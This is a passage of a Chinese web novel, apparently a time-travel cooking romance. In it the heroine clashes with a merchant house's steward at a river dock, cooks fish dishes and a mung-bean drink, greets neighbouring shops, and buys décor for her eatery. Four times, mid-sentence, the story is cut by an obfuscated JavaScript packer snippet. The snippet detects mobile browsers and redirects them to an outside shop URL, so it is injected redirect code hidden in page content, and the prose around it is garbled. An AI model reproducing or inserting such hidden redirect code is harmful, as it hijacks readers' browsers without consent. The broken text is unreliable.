这么一想，他赶紧恶人先告状。 “少东家，这两位小娘子，实在是太欺负人了些。 若是光骂我也就算了，可她言语间一直冲撞咱们温家商行。 我实在是没忍住，我这老脸皮厚，怎么骂都行。 可谁要是骂咱温家，我、我就是拼了这条命，也要跟对方争个公道回来！” 一番矫揉造作的张管事最后甚至用袖子抚了抚眼角不存在的泪花。 “啪啪啪。” 一阵奇怪的掌声响起。 张管事回头，发现方才那闹事的矮个小娘子这会儿竟然一手拿着一条鱼在用鱼尾巴鼓掌？？？ 她不会是脑子有病吧！ 其余人脸色也一脸古怪，都默默离俩人远了点。 只有那被称为少东家的人，嘴角抽了抽。 虽然他很快收敛，但孟清圆还是看见了，那是差点没绷住笑出来的表情。 这温家的人……都挺能装啊。 穿着金线绣浮云纹，腰间系羊脂玉带钩，束东珠冠就差把我有钱三个字写在脸上的温家商行少东家，不仅没问责，反而温和的拍了拍张管事的肩膀。 “张叔放心，我知道。” 果然，上梁不正下梁歪。 孟清圆心中腹诽。 只见这位人民币玩家先是冲围观人群行礼。 “是某考虑不周。 这次的货币往常重了三成，却没提前吩咐账房加派人手，也没跟大伙说清楚可以两人搭伙搬运，没想到竟闹出乱子来。” 见对方不仅问责自己，还帮忙收拾烂摊子，张管事紧绷的后背明显放松下来。 脸上恭维的褶子也更加灿烂。 接着，在孟清圆和陈江流以及两人手里几条鱼眼的瞪视下，这位少东家又转而朝老者来走来。 “老人家，辛苦了，这箱子确实沉，不怪你。” 他转身对身边的随从吩咐，“取几吊钱来，去旁边茶摊包几炉凉茶给大家解暑。” 随从应声，却没动，反而取出钱交给身后人。 那人接过钱，很快小跑离开。 少东家又取过一吊钱塞到老者怀中. “这钱不是工钱，是某个人谢你的. 年纪大了搬不动重活便换个活计。” 老者还以为对方要解雇自己，连连着急摆手。 却又听对方吩咐，“一会儿跟账房说一声，凡是年迈且在我温家商行长期做工者，都能换一份工钱相同的轻便活计。” 老者捧钱手指微微颤抖。 “多谢少东家！多谢少东家！您真是大好人啊！” 温郎君扶了他一把，又转身对张管事笑道：“张叔，您看这事闹的。 这样，你让人去把这箱货物拆成两小箱，再派两个年轻力壮的活计搭伙搬运。 另外，让账房拨出二十两银子。 今天所有参与搬运的兄弟，每人加两成工钱。 就当是我温家商行给大伙的消暑钱，也是某替刚才的小插曲给大家赔个不是。” 在周围人的欢呼声中，这人目光移向孟清圆和陈江流。 “今日感谢两位小娘子仗义相助，某替温家商行的伙计们谢过二位。 看两位身上这行头狼狈，不如移步船上。 某叫人送两件干净衣裳来，就当是给二位的谢礼了。” 多新鲜，孟清圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165308|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才不敢去呢。 她们就俩人，万一进了温家的船，那不是羊入虎口了？ “用不着，希望郎君以后能管好自家的大黄。” 等孟清圆和陈江流都走出几米才反应过来大黄是骂自己的张管事脸色铁青。 破口大骂的话在看到少东家的脸色时硬生生憋了回去。 他怎么觉得少东家是在憋笑？ 他就是在憋笑吧？ 离开码头的孟清圆也在跟陈江流讨论。 “这位少东家倒是个心善的。” “心善？但愿吧。” 看着是个面嫩的，可刚才一番操作下来，张管事保全了颜面，老者保障了生计，搬运工们拿到了赏钱，温家商行的口碑也更胜一筹。 这明显就是个白切黑，得离远点。 孟清圆一锤定音。 两人一身鱼腥味的回来，把晚翠轻烟和陈大娘吓了一跳。 “怎么弄的这是，掉河里了？” “什么啊娘，今儿我和阿圆行侠仗义去了！” 陈江流一边接过布巾擦脸，一边慷慨激昂的给众人讲述刚才的场面。 许是因为刚才两人的通力合作，这会儿她对孟清圆的称呼也从孟小娘子变成了阿圆。 孟清圆才跟两人告辞，就被晚翠和轻烟拉着回了铺子。 “小娘子胆子愈发大了。 就你们俩人，竟敢对上温家商行，万一出了事情可怎么办？” 轻烟板着脸。 “就是，下次小娘子再出门可得带着我。 我力气大，能打，我来保护小娘子。” “我是这个意思吗？” 轻烟扶额。 “好轻烟，我下次不敢啦。 快别念了，不如先给我烧点热水，我梳洗一下。 这一身的鱼腥味儿，可熏死我了。” 轻烟见她一副好好好知道了的样子，只能作罢，赶紧给她烧水去。 晚翠则提着那两条战损版大青鱼。 “小娘子，这还能吃吗，鱼鳞都甩飞了好几片。” “能啊，这叫胜利的果实，更好吃呢！” 洗完澡，孟清圆神清气爽，开始分派任务： “晚翠，你把那两尾青鱼用细盐搓洗。 尤其是鱼腹的黑膜，一定要刮得干干净净。 轻烟，你把莲藕和茭白去皮切长丝，胡瓜剁丁。 都用井水冰镇着备用。” “是！” 孟家的人，从上到下，几乎都会点厨艺。 就连孟清圆最瞧不上的孟仲山，那红烧的手艺也非比寻常。 孟清圆取来一口干净的砂锅，往里加足量的清水。 再将洗干净的甘草片和绿豆丢进去，盖上锅盖。 先用大火烧开，再转小火慢慢熬煮。 “我给你俩做个绿豆甘草冰雪凉水，清清爽爽。 一会儿煮熟了就放进井里镇着，保证好喝。” 之所以做这个，主要是因为下午逛码头时，发现这边卖的多是苦苦的凉茶，其他品类几乎没有。 对于孟清圆这种不爱喝白水更不爱喝苦水的人来说，小甜水必须安排上。 “以前只听过紫苏饮子、酸梅饮子和红枣引子。 这绿豆甘草的组合却是头次见。” “绿豆清热利水，甘草性味甘平，正适合夏天。 等熬好了再加一点蜂蜜，那就很好喝啦。” 5. 炸鱼脯 不多时，砂锅里就飘出淡淡的甘草香。 混合着绿豆的清甜，弥漫在整个后院。 轻烟已经把莲藕去皮切好。 粗细均匀的藕丝泡在清水中，透着莹白的光泽。 胡瓜切成均匀的碎丁，翠绿欲滴，看着就爽口。 这边晚翠也将青鱼处理好了。 孟清圆拿起其中一条，用刀沿着鱼骨慢慢片开。 将鱼肉片成薄片，再把鱼肉斜着改刀成细细的鱼丝。 她刀工好，是上辈子差点练废了十根手指才换来的功夫。 鱼丝切得又快又稳，落在案板上，像一堆蓬松的银丝。 孟清圆将切好的鱼丝放进碗里，加少许料酒和盐。 用手轻轻抓匀，腌制片刻去除河腥气。 然后再取来一个干净盘子，在盘底扑薄薄一层淀粉。 将腌制好的鱼丝均匀铺在上面，最后放进蒸屉里。 “晚翠，灶里抽出点柴火，转中火蒸一刻钟。” 蒸鱼丝的功夫，孟清圆开始处理另一条青鱼，准备做炸鱼脯。 虽然说夏天不好吃炸物这种有点油腻的东西，但只要做法得当，做成小零嘴用来磨牙也还是很不错的。 她把鱼肉切成两指宽、半指厚的块，用帕子吸干表面水分。 放进碗里，加入清酱、老酒、少许白糖和姜片，用手抓均后腌制十分钟。 腌制好的鱼块一一裹上玉米淀粉，再放进蛋液里滚上一圈，确保每块鱼块都均匀地裹上蛋液。 此时，晚翠已经把另一口灶台烧得旺旺的。 孟清圆往锅里倒入适量的菜籽油，等油热冒起细小的青烟时，她夹起一块裹好蛋液的鱼块，轻轻放进油锅里。 “滋啦——” 一声脆响，油花飞溅。 鱼块在油锅里慢慢浮起，表面很快就变成了金黄色，香气也飘了出来。 孟清圆用筷子轻轻翻动鱼块，确保每一面炸得均匀酥脆。 不多时，第一盘炸鱼脯就出锅了。 控过油的炸鱼脯放在盘中，金黄酥脆的外皮，散发着浓郁的鱼香和蛋香，让人忍不住吞咽口水。 鱼脯炸好，蒸屉里的鱼丝也被端了下来。 孟清圆打开蒸屉，将蒸好的鱼丝倒扣在盘子里。 鱼丝洁白通透，像水晶一样晶莹剔透。 又用青酱、香醋、白糖、香油和切碎的葱花调一碗特调酱汁，淋在鱼丝上。 酱汁顺着鱼丝慢慢流淌，在洁白的鱼丝上晕开淡淡的琥珀色，这道琥珀水晶脍就做好了。 接下来便是瓜齑。 这道菜原始于宋朝，多以酱瓜、生姜、葱白、笋干、茭白、虾米和鸡胸肉切丝，再放入致死量的盐巴和酱油腌制后炒熟。 可以说是熟制版酱瓜丝，最适合古代平民家庭补充体力。 但这东西放在食肆的菜谱里，就没必要那么重口了。 孟清圆打算弄成现代版凉拌菜。 把刚才轻烟备好的食材焯水的焯水，生吃的生吃，最后混在一起。 放麻油、盐、香醋等调料，最后再抓一把白芝麻，吃起来清爽又开胃。 这会儿子绿豆甘草冰雪凉水也煮好了，加了糖的绿豆更易出沙。 孟清圆全部倒入一个瓷坛中，将翁口密封，放入井中用凉水镇着。 【恭喜点亮新菜谱】 琥珀水晶脍：三星 炸鱼脯：二颗星 瓜齑：一颗星 绿豆甘草冰雪凉水：一颗星 孟清圆先是被这突如其来的声音吓了一跳，随后才反应过来，原来这就算点亮菜谱了。 那她就安心了。 按照这个速度，接下来随便做点什么，点亮六道菜肯定没问题。 虽然四道菜里有两道一颗星，但一颗星也是星呀。 只要能点亮菜谱的都是好菜。 感觉到生命掌控权重新回到了自己手上，孟清圆也没有之前那么忐忑了。 赶紧招呼晚翠和轻烟端菜，准备开饭。 为了报答下午陈江流当向导，孟清圆特意装了一份炸鱼脯，一份琥珀水晶脍和一盘超大份瓜齑亲自送过。 见到食盒，陈大娘笑的见牙不见眼。 “哎呀，送这么多，孟掌柜也太客气了。” “不多不多，我饭量大呢，保准能吃完！”陈江流这会儿也洗漱完换了衣服。 “阿娘，你盛三碗鱼羹，再多拿几张胡饼，我帮着阿圆端过去。” “行！” 于是孟清圆三人的晚餐又多了鱼羹和胡饼。 晚翠先夹起一块炸鱼脯，外皮酥脆掉渣，内里的鱼肉却鲜嫩多汁。 鱼香和蛋液在嘴里交融，配着椒盐的味道，一口一块根本停不下来。 “哇，好酥好脆。” 她又尝了一筷子琥珀水晶脍，鱼丝嫩滑，酱汁的酸甜咸鲜恰到好处。 轻轻一抿，鱼肉就如同棉花般化开。 “那个好吃，这个也好吃！小娘子的厨艺愈发精进了呢！” 轻烟则更中意瓜齑，脆嫩爽口，带着淡淡的醋香，解腻又开胃。 几人一口小菜一口鱼羹一口胡饼，很快将饭菜清盘。 饭后，就着屋里的烛火，三人各捧着一碗绿豆甘草冰雪凉水边喝边讨论开铺子的事。 “现成的床榻实在太贵，我只定了一架。 我和晚翠那架是从古今店淘的二手货。 旧是旧了点，却也是好木料，关键只要一两八钱。” “行，知道你俩心疼我。 不过等回头咱们赚了钱，得先给你俩换张新床。” “嘿嘿，我就说小娘子最心疼人。” 晚翠将碗里的冰雪凉水一饮而尽，咂咂嘴。 “可真好喝呀，咦，你们说我明天要是拿到江边去卖怎么样？ 跟那些苦苦的凉茶比起来，咱们这个肯定特别受欢迎！” “这主意不错，左右离得也近，卖不完咱们还能自己喝。” 孟清圆一想，也行。 主要卖糖水的时候还能顺便宣传一下食肆。 “成，那这事儿就辛苦晚翠了。” “小娘子说什么呢，就那么两步路，不辛苦不辛苦。” “说起来，今日小娘子这样当众打温家商行管事的脸，他们会不会日后报复啊？” “不能吧，他们又不知道我是谁。 上京这么大，哪那么容易再碰上。 况且依我看呐，那管事后面未必还能继续负责码头这块。 我要是那少东家，我肯定把这种人放在自己眼皮子底下看着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165309|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 省得他再生事。” 第二日一早，晚翠便挑着昨晚煮好的两桶绿豆甘草冰雪凉水去了江边。 这东西成本低，又好做，所以只定价4文钱一碗，比普通凉茶贵1文。 因为江边没什么阴凉的地方，晚翠走之前，孟清圆还特塞给她一把铜板。 “先去买顶斗笠带上。 要是中暑了，得喝苦苦的药不说，好多东西你也得忌口不能吃。” 连吓唬再骗，晚翠当即表示：“我这就去买！” 见她欢欢喜喜的走了，孟清圆和轻烟也拿上食盒出了门。 早上她做了许多小菜，都按照小份分装。 一小碟瓜齑，一包炸鱼脯，外加一竹筒的冰雪凉水。 开业前拜访邻居，也是不能省去的环节之一。 最先去的是陈记鱼羹。 陈大娘正穿着昨日的黛蓝色粗布麻衣，在门口的大锅前搅动着羹汤。 乳白色的鱼汤咕嘟冒泡，浓郁的鲜香气直往鼻尖钻。 “陈大娘早上好啊。” 孟清圆走上前，笑着行礼，轻烟紧随其后，将手中的食盒递上前。 “早上做了些小菜准备送给邻里，还是昨天那几样，您可别嫌弃哈。” 陈大娘一见食盒，脸上的笑容就更加真切。 昨天那小菜的滋味，啧啧，真是让人怀念。 “孟掌柜这是哪的话。 就是一连吃上五日我都不会腻，更不要提嫌弃了。” 孟清圆朝里看了看，“江流儿呢，怎么没见到她？” “这不是据说上午有批货船靠岸。 好像是从什么岭州来的，她去瞧热闹了。” 陈大娘也不客气，拿起一根炸鱼脯就开始炫。 昨天她就最中意这道，那小滋味，配上烧刀子味道简直好极了。 “你们这店打算啥时候开张？” “快了，这两天再把缺的东西买一买，就准备开张。” “那是得快点，这店铺租着，晚一天开张就晚一天赚钱，这房租交着多亏啊。 对了，你们找人算过吉日了吗？” “没有呢，这算吉日还得花钱，我们打算赶上哪天是哪天。 银子省下来，还能多添置几套碗筷。” 万一吉日是半个月之后，孟清圆可等不得。 她小命还要不要了。 “巧了么这不是！” 陈大娘笑得更甚，“这事儿哪用找别人，我家江流儿就会啊。 一会儿等江流儿回来了让她给你算算。 你别看我囡囡年纪小，但算日子可厉害了。 这附近的店铺开张、婚丧嫁娶，大家都是找我们家！” 提起这个，陈大娘就一脸掩不住的骄傲。 “放心啊，不要钱。 不过孟掌柜要是能多送一碗炸鱼脯来就最好不过了。 哎呀，这个东西啊，用来下酒是真香……” 孟清圆还有什么不懂的。 “这炸鱼脯还能做成五香的、香辣的和孜然的。 回头我都送点来您帮着尝尝味道！” “哎，哎！那就麻烦孟掌柜了！” 陈大娘苍蝇式搓手，等送走孟清圆两人，已经迫不及待拣一块炸鱼脯，配着小酒喝了起来。 6. 绿豆甘草冰雪凉水 辞别陈大娘，两人又去了隔壁布庄。 布庄掌柜是位中年妇人，姓庄。 说起话来调子软软的，特别好听。 一听说是隔壁食肆的来拜会，庄掌柜连忙放下手中的算筹。 她最喜欢那道绿豆甘草冰雪凉水，喝完之后赞不绝口。 “这凉水清甜解腻，平时倒没怎么见过。 夏日里喝着舒坦，回头我让伙计们都去光顾。” 接下来的一个小时，孟清圆与轻烟接连拜访了脂粉铺、药铺、米粮铺、肉铺、成衣铺等七家商户，将手里的食盒全部送空了才回去。 药铺的石掌柜尝过瓜齑后，还特意叮嘱孟清圆。 “这瓜齑清爽不腻，最宜夏日开胃。 只是胡瓜性凉，娘子若是给客人食用，不妨提醒脾胃虚寒者少进些。” 孟清圆虚心受教，连连道谢。 拜访完最后一家，已经快十一点了。 两人提着空食盒慢悠悠地往回走。 轻烟脸上带着笑意，“小娘子，没想到各家掌柜都这么好说话。 大家好像都很喜欢咱家的吃食呢。” “和气生财的道理大家都懂。 况且，除了陈记鱼羹其他店铺的买卖都跟吃食无关。 没有竞争，自然和善。” 回到食肆时，就看见门口正站着俩人。 木工坊的两位师傅扶着一块崭新的木质牌匾，轻烟连忙上前接应。 牌匾黑底金字，“东篱食肆”四个大字用浑厚的隶书写成。 看着就圆润润的没有攻击感，一副很好吃的样子。 “小娘子们回来的正好，我们也刚到。 这牌匾已经做好，您二位瞧瞧，可还满意？” 木工师傅用衣角擦了擦额头的汗，显然是一路过来晒得狠了。 孟清圆走上前细看，纹理清晰，字痕工整。 她看不出别的门道，就觉得质量不错。 “麻烦师傅们跑一趟了，这手艺可真不错。” 被人夸，两位师傅都昂着头一脸得意。 “小娘子好眼光，我们连记木工坊的时候，在整个上京都是数一数二的！” 轻烟已经取了钱来付尾款，又递上两大碗绿豆甘草冰雪凉水。 “好叫师傅们尝一尝，自家做的，一直放井水里镇着。 这会儿冰凉凉的合起来正好。” 师傅们连干三大碗，畅快的舒了口气。 “您这饮子做的可真不赖，看来日后生意一定兴隆！” 虽知道人家是场面话，但好话谁都爱听。 “还有个活儿，得劳烦二位。” 孟清圆指了指窗边。 “我想把这面墙的窗户全部打通，做成一整扇半开放式的窗户。 然后沿着窗边，打上一排高桌，再配上几把高椅。 不知道这活咱们这能不能做？” 一听说又有活能接，师傅无有不应：“能、能，当然能了。” 只要钱到位，别说改窗户，就是重新盖个房子……哦，盖房子他们还真不行，那是梓人坊的活儿。 三人就改造效果，尺寸高度做了详细沟通。 孟清圆还取来纸，用不是那么高明的绘图技术，给两人画出了想要的成品图。 “明白了，一整扇窗，窗户要上开，支架不能挡住江景。 高桌要窄二长，高椅要舒适，下面有脚踏，后面有靠背，对吧？” “没错！” “成，窗户我们明日过来改造，至于桌椅，三日方能交足。” 三日，倒是也来得及。 “那就麻烦二位了。” 送走木工师傅，孟清圆和轻烟将刚才在路旁小摊上买的玫瑰馕饼切了。 两人胡乱嚼了几口当午饭，孟清圆把给晚翠买的那份包起来。 “你留在店里，我去码头看看晚翠那边情况怎么样。 顺便再去坊市买些装饰物把大堂布置一下。” “好嘞！” 轻烟应下，转身去忙活了。 孟清圆拿起馕饼，揣上银子便出了门。 她一路哼着歌，心情愉悦的欣赏着沿途风景。 别说，这五月的上京，景色真的不错。 江波浩渺，路边不知名的野花开的茂盛，颇有点后世在西湖边上遛弯的感觉。 到了江边，孟清圆远远就看见一堆人围在一处。 有个非常耳熟的声音从里面传出来。 “最后一碗已经售空，大家都别挤啦，下午再来！” 有人不满，“怎么这么快就卖没了啊？” “就是，我们都排了半天了。” “小娘子下午几点来啊？” 孟清圆好奇，凑上去问外围一位小娘子。 “劳烦问下，你们怎么都在这排队啊？” 那小娘子约莫十六七的年纪，上下打量孟清圆一番。 “你是刚来吧？ 方才有位特别俊俏的郎君过来买了一碗，喝完夸了句‘香浮瑞露’。 据说那可是温家的郎君，他都夸好，那必然是真好！” “哈？” 孟清圆没听懂。 见她一脸不理解，小娘子一脸鄙夷。 “你不会是连温家都不知道吧？” “你说的温家，不会是温家商行那个温家吧？” “对啊，就是那个温家！ 你说温家多富贵啊，什么好的没吃过。 能得温家人一句夸赞，关键还这么便宜，那可不是得尝一尝嘛。” 小娘子看了看日头，“我不跟你说了，我要回家吃饭，下午还得接着来排！” 孟清圆悟了。 这就是传说中的名人效应吧。 只不过提到温家，孟清圆突然想起昨天见到的那个红衣少年来。 就不知道今天来的是不是那人。 该不会是对方认出了这是她家的摊子，故意过来砸场子的吧？ 转念一想，好像也不太可能。 昨天晚翠又不在，怎么也不能把她们联想到一起吧。 孟清圆对于上京人这种狂热的明星效应不能理解。 但尊重，感谢，并鼓励。 毕竟受益的是自家买卖。 正在收拾摊子的晚翠一抬头，就看见人群散去后，自家的小娘子就站在外面。 她赶紧招手，“小娘子！” 孟清圆上前帮她收拾，“生意不错啊晚翠小掌柜。” “嘿嘿！”晚翠傻乐。 “也不知道怎么回事，本来就几个人买，突然就一群人就围了上来。 我还以为是过来收保护费的呢，可是吓我好一跳。” 孟清圆被她逗乐了，“据说有个温家的郎君过来买咱家饮子？” 晚翠一脸懵，“啊？温家？不知道啊。” 好么，合着主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165310|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公还在状况外呢。” 晚翠空出一只手举着馕饼嚼，“好像是有个穿的挺贵气的人来买。 不过我没看清长相，光顾着盛饮子收钱了。” “对方就只买了饮子，没问别的？” “没有吧？我想想啊…… 好像就问我是卖的是什么东西，然后要了一碗，喝完就走了。 嗯，没问别的。”晚翠回想后肯定。 排除了对方是来报复的可能性，孟清圆稍稍安心了点。 “走吧，先回去。 下午等太阳没那么大了你再出来，这么热，别晒坏了。” “不热不热，一点都不热。 我回去洗把脸就行。” 晚翠和孟清圆收拾东西，旁边卖草屐的老丈突然开口：“小娘子，那金桔……” “哦哦，对了！”晚翠一拍脑门。 “小娘子，昨天你不是说想买金桔吗，今儿我跟老丈就随口提了一句。 结果巧了，老丈他们村里正好有一片金桔林。 要是咱们需要，老丈说每天都能现摘后送过来。” 说完，晚翠还凑到孟清圆耳边小声嘀咕。 “他要的价格可便宜了。” 孟清圆给她一个“get”的眼神。 “那就麻烦老丈明天先送个十斤过来，我们先看看品质。” “不麻烦不麻烦。” 老丈用草帽当扇子扇风，“左右每天我也要来城里摆摊，顺路的事儿。 至于品质，小娘子们放心，家里孩子都爱吃的紧呢，味道错不了。” 孟清圆看着他铺子上的草鞋和草帽，突然福至心灵。 “不知老丈能不能用草编这样大小的圆垫子？” 老丈没听懂，看着孟清圆比划出来的胡饼那么大的圆，不解地挠了挠头。 “什么圆垫子？” “就是放在桌子上，上面用来放碗盘的草编垫子。” 这么一说，老丈就明白了。 “哦哦哦，懂了懂了，这个简单。 小娘子要是要，我编几个送给你就是。” “那不用，我要得多。 这样圆形的要五十个，长方形更大一点的要三十个。” 一听说对方要的确实多，老丈也不说白给了。 这草虽然不要钱，但采摘、裁剪、晾晒、编织也都是功夫。 不过看在日后长期合作金桔的情分上，对方还是给出了一个非常公道的价格。 “圆的两文钱一个，方的四文钱一个。” 这个价格不算贵，孟清圆表示没问题。 先付了二十文的定金，剩下的三天内交齐，尾款连同货物一起结算。 顺利给食肆订了一批桌垫，她这才拎着东西跟晚翠往回走。 路上还不忘了跟对方科普摸鱼经：“身体是革命的第一本钱，你可得小心。” 倒不是她矫情，主要是孟清圆自己有前车之鉴。 谁叫她上辈子就是因为工作太拼命，这才导致意外死亡后穿越的呢。 所以这一世，不管是对自己，还是身边人，孟清圆的第一准则都是没什么比身体健康更重要。 “小娘子放心吧，我有斗笠呢。 渴了就喝咱自家饮子，保准不会中暑的。” 孩子积极，孟清圆也不好强求。 帮晚翠将东西搬回食肆，她便拐了个弯，继续朝通济坊中坊大采购去了。 7. 瓜花酿 通济坊的中坊是三坊中最热闹的。 这边的铺子基本都是前面做买卖，后面住人的格局。 可能是受昭宁王朝大力发展商业的影响，基本上家家户户都会做点小买卖。 所以卖的东西格外杂，也格外多，五花八门什么都有。 孟清圆一路溜溜哒哒，先走进一间花店。 夏日里草木繁盛，她挑了几盆长势喜人的薄荷和野菊。 薄荷可是个好东西，能做饮子能入菜。 尤其是那小凉菜，要是上面放上几片薄荷叶，吃起来香味儿挠的一下就出来了。 接着又去杂货铺买了几卷素色的棉麻防水料。 打算用来铺在桌子上做桌布。 没办法，谁让系统给的桌子实在有点丑。 木头不太好也就算了，上面还有许多磕碰的痕迹。 买张桌布铺上，好歹能遮遮丑。 别看这里是古代，但昭宁王朝已经有各色防水布对外售卖。 不管是清水或油污，只要抹布就能清洁，可以说是非常实用。 除了这些，孟清圆还挑了几个粗陶花瓶和小摆件。 虽然做工不太精细，但她们本来也不走豪华装修的路子。 当然，孟清圆是不会承认不走豪华装修的原因是因为口袋没钱的。 路过一个小摊时，见对方摊子上摆着许多稀奇古怪的小玩意儿。 什么香包面具鬼功球，鸠车香篆海榴罂坠子，还有许多形态各异的云母贝壳。 别的孟清圆虽然买不起，但十文钱三枚的贝壳还是可以承受的。 “小娘子好眼光，我这云母贝壳，可是溜山国来的。” 孟清圆诧异，“溜山国？合着这还是进口货啊。” 卖货的娘子虽然听不懂什么叫进口货，但顺着客人的话说就对了。 “可不是，千里迢迢，那是相当难得。 您看这颜色，再看这品质，可不是咱共江边上的老河蚌能比的。” 孟清圆虽然不觉得这些真是溜山国的贝壳，但确实物美价廉。 于是买了许多，打算回去串起来做成贝壳风铃。 凭借后世在步行街小服装店砍价练出来的功力，孟清圆最终跟老板砍到了十文钱四枚的价格。 “哎呦，五十个才收你一百文，这一单我可是亏大了。” “好姐姐，这贝壳拿回去我肯定串得漂漂亮亮的，回头让小姐妹都来您这买。 你人美心善，生意指定越做越红火！” 一顿夸赞把卖货娘子哄得合不拢嘴，最后甚至还送了孟清圆一卷丝线。 “用这线穿才好看呢，你这小妮子嘴忒甜，都让了这么多，这个干脆也送你吧。” “谢谢漂亮姐姐，你最好啦~” 这下花草桌布装饰品都有了，就差灯了。 现在铺子里都是直接往灯盏里倒菜籽油点燃照明，不好看，但实用。 这东西自家用用还行，但要是开铺子，就不够看了。 后世不管是家庭装修还是店铺装修，灯带设计都属于非常重要的环节。 要是店里黑漆漆的，哪个食客愿意摸黑吃东西啊。 所以孟清圆找了半天，这才在一家手作纸品的铺子前找到心仪的灯具。 店主同样是位娘子，这会儿正用细竹篾扎着纸灯骨架。 铺子里摆着些各种款式的灯具，甚至还有立地款的。 灯面画的是梅兰竹菊，中间有四个蜡烛灯托，同时点燃后非常亮堂。 孟清圆一问价格，好么，买不起，真的买不起。 这样一款落地灯，竟然要价四两银子。 以她们开业初期的资金，光是买几盏灯就要破产了。 于是她跟店主买了些没糊灯面的菱花形竹篾灯架，又买了几刀素白桑皮纸和一小盒金粉。 打算回去后，让轻烟帮忙糊好灯面，再自己画些图案上去，简单好看还省钱。 店主见她买了不少半成品，也算是采购大户了。 对方又夸赞她家灯漂亮，于是心情一好，顺便送了她几卷干花。 “小娘子拿回去可以挂在廊下，也可以插进花瓶中。 一束能香月余，好闻得很。 若是用着喜欢，记得回头再来啊，也不贵，这样一卷，只要五百文。” “谢谢啊。” 孟清圆在这里花出今日最大的一笔开销后，便在街头雇了个小工帮忙提东西，开始往回走。 这通济坊规模是真的大，她逛了这么久，竟然才粗粗将中坊逛个大概。 刚拐过街口，就看见一位老农身边放着担子在叫卖。 担子一头的竹筐笸箩上头铺着湿布，上面摆了不少新鲜的南瓜花。 金黄色的花瓣舒展，花萼还带着细细的绒毛，看着鲜翠欲滴。 另一头则是数十个大小不一的南瓜。 孟清圆瞧见这南瓜花，突然想起之前刷到的一条短视频。 某度假村的厨师将调好的肉馅填进瓜花中，油温六成热时下锅炸至金黄酥脆。 出锅后瓜黄馅红，色泽诱人，底下的评论区全是被馋哭的留言。 为了尝到这口瓜花酿，她还特意去了趟那度假村餐厅。 一口咬下去，果然名不虚传。 “老丈，这南瓜花怎么卖？”孟清圆走上前问。 见来的是个衣着干净的小娘子，老者连忙应道：“一文钱五把，都是今早刚从菜园里摘的，新鲜着呢！” “给我来五把，顺便再来个小南瓜。” 五把就是五朵，因为是第一次做，孟清圆担心自己翻车，所以直接要了三十把。 要是做瓜花酿没用完，还能用来凉拌或做汤，味道也鲜美得很。 老农麻利地用稻草将南瓜花捆好，整整齐齐地递了过来。 “小娘子拿好，都是挑着最嫩的，没有老梗。 孟清圆接过，付了钱又问道：“老丈每日都在此处售卖吗？” “可不是，”老农擦了擦汗。 “我家就在城外，自家后院开出一大片菜园子。 每日辰时进城买些时鲜菜蔬，卖到未时便回去。 小娘子要是爱吃，明日再来寻我便是。” 大采购一番的孟清圆满载而归，回来时远远就看见轻烟正坐在门槛上发呆。 见孟清圆回来，她赶紧跑过来迎接。 “早知道小娘子要买这许多，该喊我一起去的。” 三人将东西放回屋里，孟清圆掏出五文钱递给小工，这才一屁股坐在长凳上。 “本来也没想买这么多，谁成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165311|196684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想一不小心就……这购物果然是越买越上头。” 轻烟给她倒水，又去好奇翻买来的东西。 “小娘子，这是什么呀？”她指着一堆竹篾。 “灯啊，你手艺好，回头你给糊上灯面。 你都不知道，店里一个做好的落地灯竟然要四两银子，抢钱吗这不是！ 早知道当初就该把孟府的灯也都打包带出来，真是失策了。” “那这又是什么？”轻烟举起一片贝壳。 “贝壳呀，回头拿烧红的铁筷子打孔，再穿成串。 挂在窗檐下，叮叮当当的，可好听了。” 孟清圆给买来的东西一通展示，最后才伸了个懒腰，“走，咱们做饭去~” 晚饭的重头戏自然就是瓜花酿。 孟清圆将南瓜花放进盆里，依次用清水洗净。 再用剪刀去掉花梗与花蕊，沥干水分备用。 “早上剩下的鱼肉呢？” “我用油纸封好，放井里保鲜呢。” 轻烟一边说着，一边去井边将篮子提上来。 孟清圆将鱼肉剁成鱼糜，在里面加入轻烟下午买回来的猪肉馅子。 